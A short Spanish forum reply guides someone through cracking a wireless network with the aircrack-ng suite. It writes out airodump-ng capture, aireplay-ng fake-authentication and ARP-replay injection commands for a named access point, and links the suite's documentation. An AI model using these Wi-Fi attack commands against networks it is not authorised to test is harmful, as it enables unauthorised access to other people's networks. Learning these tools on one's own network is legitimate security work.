Bien me alegro que vayas avanzando!

Si se te hace costoso usar todos estos comandos puedes usar el airoscript que también está en WifiWay.
Eso que te pone chanel 3, quizas sea porque tienes que especificiar el canal.
Para empezar a capturar datos en tu red:
$ airodump-ng --bssid <MAC_DE_TU_ROUTER> -c <CANAL> -w <DONDE_SE_TE_GUARDAN_LOS_DATAS_CAPTURADOS> wlan0
# ESTO CREA UN CLIENTE FALSO EN EL AP
$ aireplay-ng -1 0 -e "JAZZTEL_XX" -a XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX -c <CANAL> wlan0
Ej:
$ aireplay-ng -1 0 -e "JAZZTEL_XX" -a XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX -c 6 wlan0
Para hacer el ataque 3 es mejor que uses un cliente real, ya que el falso que has creado no genera trafico. Pero para hacer la reinyección usas el comando:
$ aireplay-ng -3 -b <MAC_ROUTER> -h <MAC_CLIENTE> wlan0
Leete todo esto y verás como se usan los comandos:
http://www.aircrack-ng.org/doku.php?id=aireplay-ng.esHay explica el uso de los comandos de la suite y los ataques.
Saludos.